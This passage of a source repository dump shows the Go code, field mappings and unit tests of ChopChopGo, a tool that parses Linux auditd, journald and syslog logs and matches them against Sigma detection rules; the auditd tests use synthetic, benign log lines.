github.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3
github.com/coreos/go-systemd/v22 v22.5.0
github.com/olekukonko/tablewriter v0.0.5
github.com/schollz/progressbar/v3 v3.13.0
)
require (
github.com/gobwas/glob v0.2.3 // indirect
github.com/mattn/go-runewidth v0.0.14 // indirect
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
github.com/rivo/uniseg v0.4.3 // indirect
github.com/stretchr/testify v1.6.1 // indirect
golang.org/x/sys v0.4.0 // indirect
golang.org/x/term v0.4.0 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
================================================
FILE: go.sum
================================================
github.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3 h1:WEwycC1Fc+gv+t5T+YJvdJbm64R+Z2q1uG1/9jbN4Sw=
github.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3/go.mod h1:PHmeNNl0isjwjCxH8blwcXj6gCZ2/3vDAOW21K3yspQ=
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y=
github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/markuskont/datamodels v0.0.1 h1:Pibmdtfp4hTypvmFmmCPIkSPxUZ6rpi/myd8U9F/5y4=
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.3 h1:utMvzDsuh3suAEnhH0RdHmoPbU648o6CvXxTx4SBMOw=
github.com/rivo/uniseg v0.4.3/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/schollz/progressbar/v3 v3.13.0 h1:9TeeWRcjW2qd05I8Kf9knPkW4vLM/hYoa6z9ABvxje8=
github.com/schollz/progressbar/v3 v3.13.0/go.mod h1:ZBYnSuLAX2LU8P8UiKN/KgF2DY58AJC8yfVYLPC8Ly4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18=
golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.4.0 h1:O7UWfv5+A2qiuulQk30kVinPoMtoIPeVaKLEgLpVkvg=
golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
================================================
FILE: main.go
================================================
package main
import (
"flag"
"fmt"
"log"
"os"
"os/user"
"github.com/M00NLIG7/ChopChopGo/maps/auditd"
"github.com/M00NLIG7/ChopChopGo/maps/journald"
"github.com/M00NLIG7/ChopChopGo/maps/syslog"
)
func isRoot() bool {
currentUser, err := user.Current()
if err != nil {
log.Fatalf("[isRoot] Unable to get current user: %s", err)
}
return currentUser.Username == "root"
}
func main() {
if !isRoot() {
// depending on the file access permissions, we might not need root rights
// especially when targeting logs collected from other systems, we might encounter more lax permissions on the files
fmt.Fprintln(os.Stderr, "Warning: not running as superuser - some accesses might fail!")
}
var target string
var path string
var outputType string
var file string
var mappingPath string
flag.StringVar(&target, "target", "syslog", "what type of data is to be scanned (auditd, journald, syslog)")
flag.StringVar(&path, "rules", "rules/linux/builtin/syslog", "where to pull the yaml rules you're applying")
flag.StringVar(&outputType, "out", "", "what type of output you want (csv, json, or leave empty for table)")
flag.StringVar(&file, "file", "", "which specific file should be scanned (falls back to target-specific defaults when left empty)")
flag.StringVar(&mappingPath, "mapping", "", "path to a custom field-mapping YAML file (overrides the built-in mappings/.yml)")
flag.Parse()
if outputType != "csv" && outputType != "json" {
banner := ` ▄████▄ ██░ ██ ▒█████ ██▓███ ▄████▄ ██░ ██ ▒█████ ██▓███ ▄████ ▒█████
▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ██▒ ▀█▒▒██▒ ██▒
▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒██░▄▄▄░▒██░ ██▒
▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ░▓█ ██▓▒██ ██░
▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ░▒▓███▀▒░ ████▓▒░
░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░▒ ▒ ░ ▒░▒░▒░
░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ░ ░ ▒ ▒░
░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ░ ▒
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
By Keyboard Cowboys (M00NL1G7)
`
fmt.Println(banner)
}
switch target {
case "auditd":
auditd.ChopToLog(path, outputType, file, mappingPath)
case "syslog":
syslog.ChopToLog(path, outputType, file, mappingPath)
case "journald":
if file != "" {
fmt.Fprintln(os.Stderr, "Error: the journald target does not support -file; journald uses a binary format accessible only via the systemd API.")
os.Exit(1)
}
journald.ChopToLog(path, outputType, mappingPath)
default:
fmt.Fprintf(os.Stderr, "Error: unknown target %q (must be auditd, journald, or syslog)\n", target)
os.Exit(1)
}
}
================================================
FILE: mappings/auditd.yml
================================================
# Field mapping for auditd log sources.
# Left side: Sigma rule field name.
# Right side: auditd native field name as it appears in the log.
source: auditd
fields:
# Process
CommandLine: exe
Image: exe
ProcessId: pid
ParentProcessId: ppid
ParentImage: comm
# Identity
User: auid
LogonId: ses
# Event metadata
EventType: type
AuditKey: key
# EXECVE arguments — sigma rules for auditd commonly reference these directly
# but map them here for rules written with generic names
a0: a0
a1: a1
a2: a2
a3: a3
# PATH record
TargetFilename: name
================================================
FILE: mappings/journald.yml
================================================
# Field mapping for systemd journal log sources.
# Left side: Sigma rule field name.
# Right side: journald native field name as exposed by the JournaldEvent struct.
source: journald
fields:
Message: message
Timestamp: timestamp
================================================
FILE: mappings/syslog.yml
================================================
# Field mapping for syslog log sources (including auth.log, kern.log, etc.)
# Left side: Sigma rule field name.
# Right side: syslog native field name as exposed by the SyslogEvent struct.
source: syslog
fields:
# Message body — most syslog Sigma rules match on this
Message: message
# Hostname is stored in the Facility field (closest available without )
Hostname: facility
Computer: facility
================================================
FILE: maps/auditd/auditd.go
================================================
package auditd
import (
"bufio"
"fmt"
"log"
"os"
"strconv"
"strings"
"time"
sigma "github.com/M00NLIG7/go-sigma-rule-engine"
"github.com/M00NLIG7/ChopChopGo/maps/mapping"
"github.com/M00NLIG7/ChopChopGo/maps/output"
"github.com/schollz/progressbar/v3"
)
// AuditEvent represents a single record from the auditd log.
type AuditEvent struct {
Type string
Data map[string]string
}
// Keywords satisfies the sigma.Event interface.
func (e AuditEvent) Keywords() ([]string, bool) {
keywords := []string{e.Type}
for k := range e.Data {
keywords = append(keywords, k)
}
return keywords, true
}
// Select satisfies the sigma.Event interface.
func (e AuditEvent) Select(name string) (interface{}, bool) {
if name == "type" {
return e.Type, true
}
if value, ok := e.Data[name]; ok {
return value, true
}
return nil, false
}
// MappedAuditEvent wraps an AuditEvent with a field-name mapping so that
// Sigma rules written with non-native field names (e.g. CommandLine → exe)
// are resolved transparently before Select is called.
type MappedAuditEvent struct {
AuditEvent
m *mapping.Mapping
}
func (e MappedAuditEvent) Keywords() ([]string, bool) { return e.AuditEvent.Keywords() }
func (e MappedAuditEvent) Select(name string) (interface{}, bool) {
return e.AuditEvent.Select(e.m.Resolve(name))
}
// extractAuditToken finds the audit(UNIXTS.mmm:SEQ) token in line and returns
// the sequence number and a formatted RFC3339 timestamp. Returns ("", "") when
// no valid token is present. This replaces the msgRe regex, eliminating the
// []string submatch allocation on every line.
func extractAuditToken(line string) (seq, ts string) {
idx := strings.Index(line, "audit(")
if idx < 0 {
return "", ""
}
s := line[idx+6:] // skip "audit("
dot := strings.IndexByte(s, '.')
if dot < 0 {
return "", ""
}
unixStr := s[:dot]
s = s[dot+1:]
colon := strings.IndexByte(s, ':')
if colon < 0 {
return "", ""
}
s = s[colon+1:]
end := strings.IndexByte(s, ')')
if end < 0 {
return "", ""
}
seq = s[:end]
unixTime, err := strconv.ParseInt(unixStr, 10, 64)
if err != nil {
return seq, ""
}
return seq, time.Unix(unixTime, 0).UTC().Format(time.RFC3339)
}
// mergeLineInto parses line with the character-walking tokenizer and writes
// each key=value pair into dest using first-wins semantics — keys already
// present in dest are not overwritten. The pre-extracted ts and seq are written
// before scanning so that SYSCALL fields always win over later record types.
// The msg=audit(...) token is skipped since extractAuditToken already handled it.
func mergeLineInto(line string, dest map[string]string, ts, seq string) {
if ts != "" {
if _, ok := dest["timestamp"]; !ok {
dest["timestamp"] = ts
}
}
if seq != "" {
if _, ok := dest["seq"]; !ok {
dest["seq"] = seq
}
}
i, n := 0, len(line)
for i < n {
for i < n && line[i] == ' ' {
i++
}
if i >= n {
break
}
keyStart := i
for i < n && line[i] != '=' && line[i] != ' ' {
i++
}
if i >= n || line[i] != '=' {
for i < n && line[i] != ' ' {
i++
}
continue
}
key := line[keyStart:i]
i++ // consume '='
var value string
if i < n && line[i] == '"' {
i++
start := i
for i < n && line[i] != '"' {
i++
}
value = line[start:i]
if i < n {
i++
}
} else if i < n && line[i] == '\'' {
i++
start := i
for i < n && line[i] != '\'' {
i++
}
value = line[start:i]
if i < n {
i++
}
} else {
start := i
for i < n && line[i] != ' ' {
i++
}
value = line[start:i]
}
// Skip the msg=audit(...) token — handled by extractAuditToken.
if key == "msg" && len(value) > 6 && value[:6] == "audit(" {
continue
}
if _, exists := dest[key]; !exists {
dest[key] = value
}
}
}
// parseLine tokenizes a single auditd log line into a key-value map.
// The hot path in ParseEvents calls extractAuditToken + mergeLineInto directly
// to avoid allocating an intermediate map; parseLine is retained for tests.
func parseLine(line string) map[string]string {
dest := make(map[string]string, 16)
seq, ts := extractAuditToken(line)
mergeLineInto(line, dest, ts, seq)
return dest
}
// windowSize is the maximum number of distinct sequence numbers held in memory
// at once. auditd records for a single event are always written consecutively
// (typically 4–6 records), so 32 is a generous safety margin. Peak memory
// usage is O(windowSize × fields) regardless of log size.
const windowSize = 32
// ParseEvents reads an auditd log file, correlates multi-record events by their
// sequence number, and returns one merged AuditEvent per logical event.
//
// auditd writes several record types (SYSCALL, EXECVE, CWD, PATH, …) for a
// single kernel event, all sharing the same msg=audit(ts:seq) sequence number.
// Merging them gives Sigma rules a complete field set — exe, auid, name, cwd —
// in a single event, eliminating blank columns and duplicate rule hits.
//
// Field precedence within a group: first record wins. SYSCALL is always
// written before EXECVE/CWD/PATH so SYSCALL fields (exe, auid, pid) take
// priority over the same-named fields on later record types.
//
// Streaming sliding-window: at most windowSize groups are kept in memory at
// once. When the window is full and a new sequence number arrives, the oldest
// group is flushed immediately. This reduces peak memory from O(total records)
// to O(windowSize × fields), making multi-GB log scanning practical.
func ParseEvents(logFile string) ([]AuditEvent, error) {
file, err := os.Open(logFile)
if err != nil {
return nil, err
}
defer file.Close()
var events []AuditEvent
standalone := 0
// window is a fixed-capacity queue of seq strings in insertion order.
// We keep it at most windowSize long; copy+reslice keeps the backing
// array capped at windowSize+1 so memory stays O(windowSize).
window := make([]string, 0, windowSize+1)
// groups maps seq → merged field map; only window entries are present.
groups := make(map[string]map[string]string, windowSize)
// soloKey is a stack-allocated scratch buffer for formatting __solo_N keys,
// avoiding the interface boxing that fmt.Sprintf would cause.
var soloKey [32]byte
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
if !strings.HasPrefix(line, "type=") {
continue
}
// Extract seq and timestamp without allocating an intermediate map.
seq, ts := extractAuditToken(line)
if seq == "" {
// Record has no parseable sequence — treat as its own event.
b := append(soloKey[:0], "__solo_"...)
b = strconv.AppendInt(b, int64(standalone), 10)
seq = string(b)
standalone++
}
if _, exists := groups[seq]; !exists {
// New seq: evict oldest group if the window is full.
if len(window) >= windowSize {
oldest := window[0]
copy(window, window[1:])
window = window[:len(window)-1]
g := groups[oldest]
delete(groups, oldest)
events = append(events, AuditEvent{Type: g["type"], Data: g})
}
window = append(window, seq)
groups[seq] = make(map[string]string, 16)
}
// Merge directly into the group map — no intermediate map allocated.
mergeLineInto(line, groups[seq], ts, seq)
}
if err := scanner.Err(); err != nil {
return nil, err
}
// Flush all remaining groups in insertion order.
for _, seq := range window {
g := groups[seq]
events = append(events, AuditEvent{Type: g["type"], Data: g})
}
return events, nil
}
// FindLog returns filePath when non-empty, otherwise reads /etc/audit/auditd.conf
// to locate the active log file.
func FindLog(file string) (string, error) {
if file != "" {
if _, err := os.Stat(file); err != nil {
return "", fmt.Errorf("failed to find provided file %v", file)
}
return file, nil
}
f, err := os.Open("/etc/audit/auditd.conf")
if err != nil {
return "", fmt.Errorf("failed to open auditd.conf: %v", err)
}
defer f.Close()
scanner := bufio.NewScanner(f)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if strings.HasPrefix(line, "log_file") {
parts := strings.SplitN(line, "=", 2)
if len(parts) == 2 {
return strings.TrimSpace(parts[1]), nil
}
}
}
return "", fmt.Errorf("log_file option not found in auditd.conf")
}
var auditdRenderer = output.Renderer{
Headers: []string{"Timestamp", "User", "Exe", "Terminal", "PID", "Tags", "Author"},
Row: func(r output.ScanResult) []string {
return []string{
r.Timestamp,
r.User,
r.Exe,
r.Terminal,
r.PID,
output.TagString(r.Tags),
r.Author,
}
},
}
func toScanResult(event AuditEvent, res sigma.Results) output.ScanResult {
return output.ScanResult{
Timestamp: event.Data["timestamp"],
// auditd logs use lowercase "auid", not "AUID"
User: event.Data["auid"],
Exe: event.Data["exe"],
Terminal: event.Data["terminal"],
PID: event.Data["pid"],
Tags: res[0].Tags,
Author: res[0].Author,
RuleID: res[0].ID,
Title: res[0].Title,
}
}
// Chop scans the auditd log against Sigma rules and writes results to stdout.
// mappingPath overrides the default mappings/auditd.yml when non-empty.
func Chop(rulePath, outputType, filePath, mappingPath string) error {
auditdLogPath, err := FindLog(filePath)
if err != nil {
return fmt.Errorf("finding audit log: %w", err)
}
events, err := ParseEvents(auditdLogPath)
if err != nil {
return fmt.Errorf("parsing audit log: %w", err)
}
ruleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}})
if err != nil {
return fmt.Errorf("loading ruleset: %w", err)
}
showProgress := outputType != "json" && outputType != "csv"
var bar *progressbar.ProgressBar
if showProgress {
bar = progressbar.Default(int64(len(events)))
}
if mappingPath == "" {
mappingPath = "mappings/auditd.yml"
}
m := mapping.LoadOrIdentity(mappingPath, "auditd")
var results []output.ScanResult
for _, event := range events {
mapped := MappedAuditEvent{event, m}
if res, match := ruleset.EvalAll(mapped); match {
results = append(results, toScanResult(event, res))
}
if showProgress {
bar.Add(1)
}
}
if err := output.Write(os.Stdout, outputType, results, auditdRenderer); err != nil {
return fmt.Errorf("writing output: %w", err)
}
if showProgress {
fmt.Printf("Processed %d auditd events\n", len(events))
}
return nil
}
// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.
func ChopToLog(rulePath, outputType, filePath, mappingPath string) {
if err := Chop(rulePath, outputType, filePath, mappingPath); err != nil {
log.Fatalf("auditd: %v", err)
}
}
================================================
FILE: maps/auditd/auditd_test.go
================================================
package auditd
import (
"bufio"
"fmt"
"os"
"path/filepath"
"strings"
"testing"
)
const testdataDir = "../../testdata"
func TestParseEventsStandard(t *testing.T) {
events, err := ParseEvents(filepath.Join(testdataDir, "auditd.log"))
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// 5 type= lines but lines 1-3 share seq 24287 and are merged into one.
// Expected logical events: seq 24287, 24288, 24289 → 3 total.
if len(events) != 3 {
t.Errorf("expected 3 correlated events, got %d", len(events))
}
first := events[0]
if first.Type != "SYSCALL" {
t.Errorf("expected type SYSCALL, got %q", first.Type)
}
if first.Data["exe"] != "/bin/cat" {
t.Errorf("expected exe=/bin/cat, got %q", first.Data["exe"])
}
if first.Data["pid"] != "3538" {
t.Errorf("expected pid=3538, got %q", first.Data["pid"])
}
if first.Data["auid"] != "1000" {
t.Errorf("expected auid=1000, got %q", first.Data["auid"])
}
if first.Data["timestamp"] == "" {
t.Error("expected non-empty timestamp")
}
// Fields from the correlated CWD and PATH records should be merged in.
if first.Data["cwd"] != "/home/user" {
t.Errorf("expected cwd=/home/user (merged from CWD record), got %q", first.Data["cwd"])
}
if first.Data["name"] != "/etc/ssh/sshd_config" {
t.Errorf("expected name=/etc/ssh/sshd_config (merged from PATH record), got %q", first.Data["name"])
}
}
func TestParseEventsCorrelation(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "corr.log")
// Three records sharing seq 99 — fields from later records fill in gaps.
content := "" +
"type=SYSCALL msg=audit(1000000000.000:99): pid=42 auid=1000 exe=\"/bin/bash\"\n" +
"type=EXECVE msg=audit(1000000000.000:99): argc=2 a0=\"bash\" a1=\"-i\"\n" +
"type=CWD msg=audit(1000000000.000:99): cwd=\"/root\"\n" +
// Unrelated record with a different seq.
"type=SYSCALL msg=audit(1000000001.000:100): pid=7 auid=0 exe=\"/usr/bin/id\"\n"
if err := os.WriteFile(f, []byte(content), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 2 {
t.Fatalf("expected 2 correlated events, got %d", len(events))
}
e := events[0]
if e.Type != "SYSCALL" {
t.Errorf("first event type: got %q, want SYSCALL", e.Type)
}
if e.Data["exe"] != "/bin/bash" {
t.Errorf("exe: got %q, want /bin/bash", e.Data["exe"])
}
if e.Data["argc"] != "2" {
t.Errorf("argc (from EXECVE): got %q, want 2", e.Data["argc"])
}
if e.Data["cwd"] != "/root" {
t.Errorf("cwd (from CWD): got %q, want /root", e.Data["cwd"])
}
// SYSCALL exe must win over any exe on later records.
if events[1].Data["exe"] != "/usr/bin/id" {
t.Errorf("second event exe: got %q, want /usr/bin/id", events[1].Data["exe"])
}
}
func TestParseEventsSkipsNonTypeLines(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "test.log")
content := "not a type line\nsome other content\n" +
"type=SYSCALL msg=audit(1364481363.243:1): arch=c000003e syscall=2 pid=100 exe=/bin/sh auid=0\n"
if err := os.WriteFile(f, []byte(content), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 1 {
t.Errorf("expected 1 event, got %d", len(events))
}
}
func TestParseEventsEmpty(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "empty.log")
if err := os.WriteFile(f, []byte(""), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 0 {
t.Errorf("expected 0 events, got %d", len(events))
}
}
func TestParseEventsBadTimestampDoesNotPanic(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "bad.log")
// msg field does not contain an audit(...) timestamp
content := "type=SYSCALL msg=notaudit(bad): arch=c000003e\n"
if err := os.WriteFile(f, []byte(content), 0600); err != nil {
t.Fatal(err)
}
defer func() {
if r := recover(); r != nil {
t.Errorf("ParseEvents panicked on bad timestamp: %v", r)
}
}()
// Must not panic; the line with a bad timestamp is skipped
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// The SYSCALL line has no valid audit(...) timestamp — it should be
// handled without panicking (event will be stored without a timestamp).
_ = events
}
func TestParseEventsTimestampConversion(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "ts.log")
// Unix timestamp 0 should become 1970-01-01T00:00:00Z
content := "type=SYSCALL msg=audit(0.000:1): arch=c000003e syscall=2 pid=1 auid=0\n"
if err := os.WriteFile(f, []byte(content), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) == 0 {
t.Fatal("expected 1 event")
}
if events[0].Data["timestamp"] != "1970-01-01T00:00:00Z" {
t.Errorf("unexpected timestamp: %q", events[0].Data["timestamp"])
}
}
func TestAuditEventSelect(t *testing.T) {
e := AuditEvent{
Type: "SYSCALL",
Data: map[string]string{
"exe": "/bin/bash",
"pid": "1234",
},
}
if v, ok := e.Select("type"); !ok || v != "SYSCALL" {
t.Errorf("Select(type): got %v, ok=%v", v, ok)
}
if v, ok := e.Select("exe"); !ok || v != "/bin/bash" {
t.Errorf("Select(exe): got %v, ok=%v", v, ok)
}
if v, ok := e.Select("pid"); !ok || v != "1234" {
t.Errorf("Select(pid): got %v, ok=%v", v, ok)
}
if _, ok := e.Select("nonexistent"); ok {
t.Error("Select(nonexistent) should return false")
}
}
func TestAuditEventKeywords(t *testing.T) {
e := AuditEvent{
Type: "EXECVE",
Data: map[string]string{"exe": "/bin/bash", "pid": "1234"},
}
keywords, ok := e.Keywords()
if !ok {
t.Error("Keywords() should return true")
}
found := false
for _, k := range keywords {
if k == "EXECVE" {
found = true
}
}
if !found {
t.Errorf("Keywords() should contain the event type; got %v", keywords)
}
// Data keys should also appear
foundKey := false
for _, k := range keywords {
if strings.Contains(k, "exe") {
foundKey = true
}
}
if !foundKey {
t.Errorf("Keywords() should contain data keys; got %v", keywords)
}
}
func TestParseLineQuoting(t *testing.T) {
cases := []struct {
line string
key string
want string
}{
// double-quoted value
{`type=SYSCALL msg=audit(0.000:1): exe="/bin/cat"`, "exe", "/bin/cat"},
// single-quoted value (USER_AUTH style)
{`type=USER_AUTH msg=audit(0.000:1): msg='op=PAM acct="root" res=failed'`, "msg", `op=PAM acct="root" res=failed`},
// unquoted value
{`type=SYSCALL msg=audit(0.000:1): pid=1234`, "pid", "1234"},
// bare parens — not a quote
{`type=SYSCALL msg=audit(0.000:1): exit=(null)`, "exit", "(null)"},
}
for _, c := range cases {
event := parseLine(c.line)
if got := event[c.key]; got != c.want {
t.Errorf("parseLine key %q: got %q, want %q", c.key, got, c.want)
}
}
}
func TestParseEventsStripsQuotes(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "audit.log")
// exe and comm are quoted in real auditd logs
content := "type=SYSCALL msg=audit(1364481363.243:1): arch=c000003e syscall=59 pid=100 auid=0 exe=\"/bin/bash\" comm=\"bash\" key=\"susp_activity\"\n"
if err := os.WriteFile(f, []byte(content), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 1 {
t.Fatalf("expected 1 event, got %d", len(events))
}
e := events[0]
if e.Data["exe"] != "/bin/bash" {
t.Errorf("exe: got %q, want /bin/bash", e.Data["exe"])
}
if e.Data["comm"] != "bash" {
t.Errorf("comm: got %q, want bash", e.Data["comm"])
}
if e.Data["key"] != "susp_activity" {
t.Errorf("key: got %q, want susp_activity", e.Data["key"])
}
}
func TestFindLogWithExistingFile(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "audit.log")
if err := os.WriteFile(f, []byte(""), 0600); err != nil {
t.Fatal(err)
}
result, err := FindLog(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result != f {
t.Errorf("expected %q, got %q", f, result)
}
}
func TestFindLogMissingFile(t *testing.T) {
_, err := FindLog("/nonexistent/path/to/audit.log")
if err == nil {
t.Error("expected error for missing file")
}
}
// representativeLine is a realistic auditd SYSCALL line with quoted fields and
// a long argument list — the kind of line the parser sees most often.
const representativeLine = `type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=59 success=yes exit=0 a0=7f1234 a1=7f5678 a2=7f9abc a3=0 items=2 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="bash" exe="/bin/bash" key="susp_exec"`
// TestParseEventsWindowBoundary verifies that flushing the sliding window does
// not drop events or split correlated groups. It generates more than windowSize
// distinct sequence numbers, each with two correlated records, and asserts that
// every group arrives complete and in order.
func TestParseEventsWindowBoundary(t *testing.T) {
total := windowSize*2 + 5 // well beyond one window flush cycle
tmp := t.TempDir()
f := filepath.Join(tmp, "window.log")
var sb strings.Builder
for i := 0; i < total; i++ {
// Two records per logical event sharing the same seq.
fmt.Fprintf(&sb, "type=SYSCALL msg=audit(1000000000.000:%d): pid=%d auid=1000 exe=\"/bin/sh\"\n", i, i+100)
